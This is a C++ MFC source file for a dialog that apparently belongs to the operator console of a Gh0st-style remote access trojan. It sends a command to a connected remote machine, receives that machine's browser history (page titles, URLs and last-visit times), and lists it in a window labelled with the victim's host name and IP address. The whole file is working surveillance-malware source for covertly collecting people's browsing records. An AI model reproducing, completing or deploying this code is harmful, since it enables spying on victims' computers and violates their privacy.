163 lines
3.4 KiB
C++
163 lines
3.4 KiB
C++
// UrlDlg.cpp : 实现文件
|
|
//
|
|
|
|
#include "stdafx.h"
|
|
#include "Client.h"
|
|
#include "UrlDlg.h"
|
|
|
|
|
|
extern CString strHost;
|
|
// CUrlDlg 对话框
|
|
|
|
IMPLEMENT_DYNAMIC(CUrlDlg, CDialog)
|
|
|
|
CUrlDlg::CUrlDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
|
|
: CDialog(CUrlDlg::IDD, pParent)
|
|
{
|
|
m_iocpServer = pIOCPServer;
|
|
m_pContext = pContext;
|
|
|
|
m_bOnClose = FALSE;
|
|
|
|
}
|
|
|
|
|
|
void CUrlDlg::DoDataExchange(CDataExchange* pDX)
|
|
{
|
|
CDialog::DoDataExchange(pDX);
|
|
DDX_Control(pDX, IDC_LIST_URL, m_list_url);
|
|
}
|
|
|
|
|
|
BEGIN_MESSAGE_MAP(CUrlDlg, CDialog)
|
|
ON_WM_CLOSE()
|
|
ON_WM_SIZE()
|
|
END_MESSAGE_MAP()
|
|
|
|
|
|
// CUrlDlg 消息处理程序
|
|
void CUrlDlg::OnReceiveComplete()
|
|
{
|
|
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
|
|
{
|
|
case TOKEN_XLIST:
|
|
ShowUrlList();
|
|
break;
|
|
default:
|
|
// 传输发生异常数据
|
|
break;
|
|
}
|
|
}
|
|
|
|
|
|
void CUrlDlg::ShowUrlList()
|
|
{
|
|
m_list_url.DeleteAllItems();
|
|
|
|
char *lpBuffer = (char *)(m_pContext->m_DeCompressionBuffer.GetBuffer(1));
|
|
char *strTitle;
|
|
char *strUrl;
|
|
char *strTime;
|
|
DWORD dwOffset = 0;
|
|
|
|
int i;
|
|
for (i = 0; dwOffset < m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1; i++)
|
|
{
|
|
strTitle = lpBuffer + dwOffset;
|
|
strUrl = strTitle + lstrlen(strTitle) +1;
|
|
strTime = strUrl + lstrlen(strUrl) + 1;
|
|
|
|
m_list_url.InsertItem(i, strTitle,0);
|
|
m_list_url.SetItemText(i, 1, strUrl);
|
|
m_list_url.SetItemText(i, 2, strTime);
|
|
|
|
dwOffset += lstrlen(strTitle) + lstrlen(strUrl) + lstrlen(strTime) + 3;
|
|
}
|
|
}
|
|
|
|
|
|
void CUrlDlg::GetUrlList()
|
|
{
|
|
BYTE bToken = COMMAND_XLIST;
|
|
m_iocpServer->Send(m_pContext, &bToken, 1);
|
|
}
|
|
|
|
|
|
BOOL CUrlDlg::OnInitDialog()
|
|
{
|
|
CDialog::OnInitDialog();
|
|
|
|
// TODO: 在此添加额外的初始化
|
|
|
|
CString str;
|
|
sockaddr_in sockAddr;
|
|
memset(&sockAddr, 0, sizeof(sockAddr));
|
|
int nSockAddrLen = sizeof(sockAddr);
|
|
BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
|
|
// str.Format("服务管理 \\\\%s", bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "");
|
|
str.Format(_T("[%s - %s] 网页记录"), strHost,bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "");
|
|
SetWindowText(str);
|
|
|
|
// HWND hWndHeader = m_list_url.GetDlgItem(0)->GetSafeHwnd();
|
|
// m_header.SubclassWindow(hWndHeader);
|
|
|
|
m_list_url.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES);
|
|
m_list_url.InsertColumn(0, _T("标题"), LVCFMT_LEFT, 200);
|
|
m_list_url.InsertColumn(1, _T("网址"), LVCFMT_LEFT, 430);
|
|
m_list_url.InsertColumn(2,_T("上次访问时间"),LVCFMT_LEFT,150);
|
|
|
|
ShowUrlList();
|
|
return TRUE; // return TRUE unless you set the focus to a control
|
|
// 异常: OCX 属性页应返回 FALSE
|
|
}
|
|
|
|
void CUrlDlg::OnClose()
|
|
{
|
|
// TODO: 在此添加消息处理程序代码和/或调用默认值
|
|
closesocket(m_pContext->m_Socket);
|
|
|
|
m_bOnClose = TRUE;
|
|
|
|
CDialog::OnClose();
|
|
}
|
|
|
|
void CUrlDlg::OnSize(UINT nType, int cx, int cy)
|
|
{
|
|
CDialog::OnSize(nType, cx, cy);
|
|
|
|
// TODO: 在此处添加消息处理程序代码
|
|
if (!IsWindowVisible())
|
|
return;
|
|
|
|
RECT rectClient;
|
|
RECT rectlist;
|
|
GetClientRect(&rectClient);
|
|
rectlist.left = 0;
|
|
rectlist.top = 0;
|
|
rectlist.right = rectClient.right;
|
|
rectlist.bottom = rectClient.bottom;
|
|
m_list_url.MoveWindow(&rectlist);
|
|
}
|
|
|
|
void CUrlDlg::PostNcDestroy()
|
|
{
|
|
// TODO: 在此添加专用代码和/或调用基类
|
|
if(!m_bOnClose)
|
|
OnClose();
|
|
|
|
delete this;
|
|
|
|
CDialog::PostNcDestroy();
|
|
}
|
|
|
|
BOOL CUrlDlg::PreTranslateMessage(MSG* pMsg)
|
|
{
|
|
// TODO: 在此添加专用代码和/或调用基类
|
|
if (pMsg->message == WM_KEYDOWN && (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE))
|
|
{
|
|
return true;
|
|
}
|
|
|
|
return CDialog::PreTranslateMessage(pMsg);
|
|
}
|